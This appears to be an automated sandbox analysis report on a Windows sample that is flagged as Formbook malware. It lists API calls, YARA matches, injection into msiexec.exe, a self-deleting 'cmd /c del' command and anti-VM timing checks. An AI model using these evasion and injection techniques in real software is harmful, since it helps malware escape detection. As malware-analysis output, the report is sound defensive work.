Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A3A710 NtOpenProcessToken,		3_2_00A3A710
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39760 NtOpenProcess,		3_2_00A39760
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A39770 NtSetInformationFile,		3_2_00A39770
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A3A770 NtOpenThread,		3_2_00A3A770
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_004181C0 NtCreateFile,		3_1_004181C0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_00418270 NtReadFile,		3_1_00418270
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_004182F0 NtClose,		3_1_004182F0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_004183A0 NtAllocateVirtualMemory,		3_1_004183A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_0041826B NtReadFile,		3_1_0041826B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9540 NtReadFile,LdrInitializeThunk,		7_2_045C9540
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C95D0 NtClose,LdrInitializeThunk,		7_2_045C95D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9650 NtQueryValueKey,LdrInitializeThunk,		7_2_045C9650
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9660 NtAllocateVirtualMemory,LdrInitializeThunk,		7_2_045C9660
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C96D0 NtCreateKey,LdrInitializeThunk,		7_2_045C96D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C96E0 NtFreeVirtualMemory,LdrInitializeThunk,		7_2_045C96E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9710 NtQueryInformationToken,LdrInitializeThunk,		7_2_045C9710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9FE0 NtCreateMutant,LdrInitializeThunk,		7_2_045C9FE0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9780 NtMapViewOfSection,LdrInitializeThunk,		7_2_045C9780
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9840 NtDelayExecution,LdrInitializeThunk,		7_2_045C9840
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9860 NtQuerySystemInformation,LdrInitializeThunk,		7_2_045C9860
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9910 NtAdjustPrivilegesToken,LdrInitializeThunk,		7_2_045C9910
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C99A0 NtCreateSection,LdrInitializeThunk,		7_2_045C99A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9A50 NtCreateFile,LdrInitializeThunk,		7_2_045C9A50
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9560 NtWriteFile,		7_2_045C9560
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045CAD30 NtSetContextThread,		7_2_045CAD30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9520 NtWaitForSingleObject,		7_2_045C9520
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C95F0 NtQueryInformationFile,		7_2_045C95F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9670 NtQueryInformationProcess,		7_2_045C9670
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9610 NtEnumerateValueKey,		7_2_045C9610
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045CA770 NtOpenThread,		7_2_045CA770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9770 NtSetInformationFile,		7_2_045C9770
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9760 NtOpenProcess,		7_2_045C9760
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045CA710 NtOpenProcessToken,		7_2_045CA710
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9730 NtQueryVirtualMemory,		7_2_045C9730
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C97A0 NtUnmapViewOfSection,		7_2_045C97A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045CB040 NtSuspendThread,		7_2_045CB040
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9820 NtEnumerateKey,		7_2_045C9820
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C98F0 NtReadVirtualMemory,		7_2_045C98F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C98A0 NtWriteVirtualMemory,		7_2_045C98A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9950 NtQueueApcThread,		7_2_045C9950
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C99D0 NtCreateProcessEx,		7_2_045C99D0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9A10 NtQuerySection,		7_2_045C9A10
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9A00 NtProtectVirtualMemory,		7_2_045C9A00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9A20 NtResumeThread,		7_2_045C9A20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9A80 NtOpenDirectoryObject,		7_2_045C9A80
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045C9B00 NtSetValueKey,		7_2_045C9B00
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045CA3B0 NtGetContextThread,		7_2_045CA3B0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B83A0 NtAllocateVirtualMemory,		7_2_030B83A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B8270 NtReadFile,		7_2_030B8270
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B82F0 NtClose,		7_2_030B82F0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B81C0 NtCreateFile,		7_2_030B81C0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B839A NtAllocateVirtualMemory,		7_2_030B839A
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B826B NtReadFile,		7_2_030B826B

Detected potential crypto function

Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041B829		3_2_0041B829
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00401030		3_2_00401030
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00408C5B		3_2_00408C5B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00408C60		3_2_00408C60
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00402D8B		3_2_00402D8B
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00402D90		3_2_00402D90
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041C739		3_2_0041C739
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00402FB0		3_2_00402FB0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A220A0		3_2_00A220A0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC20A8		3_2_00AC20A8
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0B090		3_2_00A0B090
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC28EC		3_2_00AC28EC
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AB1002		3_2_00AB1002
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A14120		3_2_00A14120
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009FF900		3_2_009FF900
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC22AE		3_2_00AC22AE
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A2EBB0		3_2_00A2EBB0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00ABDBD2		3_2_00ABDBD2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC2B28		3_2_00AC2B28
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0841F		3_2_00A0841F
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00ABD466		3_2_00ABD466
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A22581		3_2_00A22581
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A0D5E0		3_2_00A0D5E0
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC25DD		3_2_00AC25DD
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC2D07		3_2_00AC2D07
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_009F0D20		3_2_009F0D20
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC1D55		3_2_00AC1D55
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC2EF7		3_2_00AC2EF7
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A16E30		3_2_00A16E30
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00AC1FF1		3_2_00AC1FF1
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_0041B829		3_1_0041B829
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_00401030		3_1_00401030
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0464D466		7_2_0464D466
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459841F		7_2_0459841F
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04651D55		7_2_04651D55
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04652D07		7_2_04652D07
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04580D20		7_2_04580D20
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046525DD		7_2_046525DD
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459D5E0		7_2_0459D5E0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B2581		7_2_045B2581
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A6E30		7_2_045A6E30
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0464D616		7_2_0464D616
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04652EF7		7_2_04652EF7
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04651FF1		7_2_04651FF1
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04641002		7_2_04641002
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046528EC		7_2_046528EC
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0459B090		7_2_0459B090
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046520A8		7_2_046520A8
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045B20A0		7_2_045B20A0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0458F900		7_2_0458F900
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045A4120		7_2_045A4120
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_046522AE		7_2_046522AE
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_04652B28		7_2_04652B28
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_0464DBD2		7_2_0464DBD2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045BEBB0		7_2_045BEBB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030BB829		7_2_030BB829
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030BC739		7_2_030BC739
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030A2FB0		7_2_030A2FB0
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030A2D8B		7_2_030A2D8B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030A2D90		7_2_030A2D90
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030A8C5B		7_2_030A8C5B
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030A8C60		7_2_030A8C60

Found potential string decryption / allocating functions

Source: C:\Users\user\Desktop\RCS76393.exe	Code function: String function: 009FB150 appears 35 times
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: String function: 0458B150 appears 35 times

Sample file is different than original file name gathered from version info

Source: RCS76393.exe, 00000003.00000002.363023409.0000000000D8F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamemsiexec.exeX vs RCS76393.exe
Source: RCS76393.exe, 00000003.00000002.362641926.0000000000AEF000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs RCS76393.exe

Tries to load missing DLLs

Source: C:\Windows\SysWOW64\msiexec.exe

Section loaded: sfc.dll

Jump to behavior

Uses 32bit PE files

Source: RCS76393.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Yara signature match

Source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000001.324919242.0000000000400000.00000040.00020000.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.587150105.0000000000480000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.362951284.0000000000D00000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.362449000.0000000000990000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000002.00000002.326066867.0000000003F40000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.587988322.00000000030A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000003.00000002.362232664.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000007.00000002.590270038.0000000004890000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.1.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.RCS76393.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.1.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 3.2.RCS76393.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

PE file has an executable .text section which is very likely to contain packed code (zlib compression ratio < 0.3)

Source: RCS76393.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Classification label

Source: classification engine

Classification label: mal100.troj.evad.winEXE@7/0@12/8

Creates mutexes

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6864:120:WilError_01

PE file has an executable .text section and no other executable section

Source: RCS76393.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Reads software policies

Source: C:\Users\user\Desktop\RCS76393.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Reads the hosts file

Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Spawns processes

Source: unknown	Process created: C:\Users\user\Desktop\RCS76393.exe 'C:\Users\user\Desktop\RCS76393.exe'
Source: C:\Users\user\Desktop\RCS76393.exe	Process created: C:\Users\user\Desktop\RCS76393.exe 'C:\Users\user\Desktop\RCS76393.exe'
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\msiexec.exe C:\Windows\SysWOW64\msiexec.exe
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RCS76393.exe'
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\RCS76393.exe	Process created: C:\Users\user\Desktop\RCS76393.exe 'C:\Users\user\Desktop\RCS76393.exe'			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\RCS76393.exe'			Jump to behavior

Uses an in-process (OLE) Automation server

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{6C3EE638-B588-4D7D-B30A-E7E36759305D}\InprocServer32

Jump to behavior

Binary contains paths to debug symbols

Source:	Binary string: msiexec.pdb source: RCS76393.exe, 00000003.00000002.363009374.0000000000D80000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000005.00000000.348166321.000000000DC20000.00000002.00000001.sdmp
Source:	Binary string: msiexec.pdbGCTL source: RCS76393.exe, 00000003.00000002.363009374.0000000000D80000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: RCS76393.exe, 00000003.00000002.362641926.0000000000AEF000.00000040.00000001.sdmp, msiexec.exe, 00000007.00000002.588142042.0000000004560000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: RCS76393.exe, msiexec.exe
Source:	Binary string: wscui.pdb source: explorer.exe, 00000005.00000000.348166321.000000000DC20000.00000002.00000001.sdmp

Data Obfuscation:

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\RCS76393.exe

Unpacked PE file: 3.2.RCS76393.exe.400000.0.unpack .text:ER;.data:W;.jidiy:W;.wahe:W;.new:R;.rsrc:R;.reloc:R; vs .text:ER;

PE file contains sections with non-standard names

Source: RCS76393.exe	Static PE information: section name: .jidiy
Source: RCS76393.exe	Static PE information: section name: .wahe
Source: RCS76393.exe	Static PE information: section name: .new

Uses code obfuscation techniques (call, push, ret)

Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00416257 push ebx; retf		3_2_00416259
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_004072E3 push esp; retf		3_2_004072EF
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041B3B5 push eax; ret		3_2_0041B408
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041B46C push eax; ret		3_2_0041B472
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041B402 push eax; ret		3_2_0041B408
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_0041B40B push eax; ret		3_2_0041B472
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00415FDB push es; iretd		3_2_00415FE2
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00415F86 push ds; retf		3_2_00415F87
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_2_00A4D0D1 push ecx; ret		3_2_00A4D0E4
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_00416257 push ebx; retf		3_1_00416259
Source: C:\Users\user\Desktop\RCS76393.exe	Code function: 3_1_004072E3 push esp; retf		3_1_004072EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_045DD0D1 push ecx; ret		7_2_045DD0E4
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030BB3B5 push eax; ret		7_2_030BB408
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B6257 push ebx; retf		7_2_030B6259
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030A72E3 push esp; retf		7_2_030A72EF
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B5F86 push ds; retf		7_2_030B5F87
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030B5FDB push es; iretd		7_2_030B5FE2
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030BB40B push eax; ret		7_2_030BB472
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030BB402 push eax; ret		7_2_030BB408
Source: C:\Windows\SysWOW64\msiexec.exe	Code function: 7_2_030BB46C push eax; ret		7_2_030BB472

Binary may include packed or encrypted code

Source: initial sample

Static PE information: section name: .text entropy: 7.49545295007

Hooking and other Techniques for Hiding and Protection:

Disables application error messsages (SetErrorMode)

Source: C:\Windows\SysWOW64\msiexec.exe

Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion:

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\RCS76393.exe	RDTSC instruction interceptor: First address: 00000000004085E4 second address: 00000000004085EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\RCS76393.exe	RDTSC instruction interceptor: First address: 000000000040897E second address: 0000000000408984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msiexec.exe	RDTSC instruction interceptor: First address: 00000000030A85E4 second address: 00000000030A85EA instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc
Source: C:\Windows\SysWOW64\msiexec.exe	RDTSC instruction interceptor: First address: 00000000030A897E second address: 00000000030A8984 instructions: 0x00000000 rdtsc 0x00000002 xor ecx, ecx 0x00000004 add ecx, eax 0x00000006 rdtsc

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\Desktop\RCS76393.exe

Code function: 3_2_004088B0 rdtsc

3_2_004088B0

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\explorer.exe TID: 6280	Thread sleep time: -45000s >= -30000s			Jump to behavior
Source: C:\Windows\SysWOW64\msiexec.exe TID: 7148	Thread sleep time: -52000s >= -30000s			Jump to behavior

Sample execution stops while process was sleeping (likely an evasion)

Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed
Source: C:\Windows\SysWOW64\msiexec.exe	Last function: Thread delayed

May try to detect the virtual machine to hinder analysis (VM artifact strings found in memory)

Source: explorer.exe, 00000005.00000000.345500910.0000000008430000.00000004.00000001.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000005.00000000.345328681.00000000083EB000.00000004.00000001.sdmp	Binary or memory string: VMware SATA CD00dRom0
